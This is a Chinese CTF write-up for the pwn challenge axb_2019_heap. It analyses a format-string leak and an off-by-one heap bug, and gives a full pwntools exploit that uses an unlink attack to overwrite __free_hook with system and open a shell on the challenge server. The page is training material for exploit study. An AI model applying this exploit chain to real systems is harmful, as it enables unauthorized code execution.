axb_2019_heap

axb_2019_heap

0x00 checksec

root@ubuntu20:~# checksec axb_2019_heap
[*] '/root/axb_2019_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64'

0x01 查看伪代码

程序的功能是实现note的管理,先输入访问者,再对note进行增删改查的操作。

重点关注以下代码

unsigned __int64 banner()
{
  char format[12]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to note management system!");
  printf("Enter your name: ");
  __isoc99_scanf("%s", format);
  printf("Hello, ");
  printf(format);						<--漏洞位置
  puts("\n-------------------------------------");
  return __readfsqword(0x28u) ^ v2;
}

banner函数要输入访问者名字,通过format接收,又printf出来。格式化字符串可控,这就让人联想到了格式化字符串漏洞。

size_t __fastcall get_input(__int64 a1, int size)
{
  size_t result; // rax
  signed int v3; // [rsp+10h] [rbp-10h]
  _BYTE *v4; // [rsp+18h] [rbp-8h]

  v3 = 0;
  while ( 1 )
  {
    v4 = (_BYTE *)(v3 + a1);
    result = fread(v4, 1uLL, 1uLL, stdin);
    if ( (int)result <= 0 )
      break;
    if ( *v4 == 10 )
    {
      if ( v3 )
      {
        result = v3 + a1;
        *v4 = 0;
        return result;
      }
    }
    else
    {
      result = (unsigned int)++v3;
      if ( size + 1 <= (unsigned int)v3 ) <--off by one
        return result;
    }
  }
  return result;
}

edit函数的get_input函数存在off - by - one漏洞,这意味着在修改note的内容时,我们可以溢出到下一个堆块头,修改大小或者inuse位。

0x02 漏洞利用

格式化字符串漏洞

确定泄露数据的位置

image-20220218113211032

用fmtarg命令输出位置

image-20220218114939568

由于64位程序会把一部分参数压入六个寄存器中,之后再往栈中压入,所以输出的位置会靠后。

经过尝试%15$p、%19$p就是要泄露的libc_start_main和main的位置。

image-20220218115314370

在前面说的off-by-one漏洞基础上,我们实现了对下一个堆块头的改动,那么就可以进一步利用unlink操作,实现任意地址修改。

操作如下:

image-20220218165528096

在free也就是unlink之后,&note会被成功写上note-0x18的位置

便可以通过edit chunk0,从note-0x18处开始写入数据,覆盖note的内容位free_hook的地址,再edit更改为system的地址,这样每次free都是调用system。

exploit

from pwn import *
# from LibcSearcher import *
#context.log_level = 'debug'

# unlink
#io = process('./axb_2019_heap')
io = remote('node4.buuoj.cn',25497)
elf = ELF('./axb_2019_heap')
libc =ELF('/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')

def add(index,size,con):
    io.recvuntil('>> ')
    io.sendline(str(1))
    io.recvuntil('(0-10):')
    io.sendline(str(index))
    io.recvuntil('size:\n')
    io.sendline(str(size))
    io.recvuntil('content: \n')
    io.sendline(con)
    io.recvline()

def delete(index):
    io.recvuntil('>> ')
    io.sendline(str(2))
    io.recvuntil('index:\n')
    io.sendline(str(index))
    io.recvline()


def edit(index,content):
    io.recvuntil('>> ')
    io.sendline(str(4))
    io.recvuntil('index:\n')
    io.sendline(str(index))
    io.recvuntil('content: \n')
    io.sendline(content)
    io.recvline()

# step1: leak code-loading base and libc_addr
# using fmtstr in ini()
payload1 = '%15$p.%19$p'
io.sendlineafter('Enter your name: ',payload1)
io.recvuntil('Hello, ')
libc_start_240 = int(io.recvuntil(".")[-13:-1],16)
main_addr = int(io.recvuntil("\n")[-13:],16)

print "libc_start_main----->" +hex(libc_start_240-240)
print "main----->" +hex( main_addr)

pie_base = main_addr-0x116a
print "pie_base----->" + hex(pie_base)
libc_start_main_addr = libc_start_240-240
print "libc_start_main----->" + hex(libc_start_main_addr)
libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]
print "sys+++-->"+hex(libc.symbols["system"])
pause()

#step2: fake_unlink
ptr = 0x202060+pie_base

add(0,0x98,p64(0)) #chunk0
add(1,0x90,p64(1)) #chunk1
payload2 = p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10) # fake chunk
payload2+='a'*0x70+p64(0x90)+'\xa0'
edit(0,payload2)
# gdb.attach(io,"brva 0xF88")
delete(1) # trigger unlink

payload3 = p64(0)*3+p64(free_hook)+p64(0x38)
edit(0,payload3)
edit(0,p64(system_addr))
add(2,0x88,'/bin/sh\x00')

io.recvuntil('>> ')
io.sendline(str(2))
io.recvuntil('index:\n')
io.sendline(str(2))


io.interactive()
posted @ 2022-02-18 17:04  DAMOXILAI  阅读(104)  评论(0编辑  收藏  举报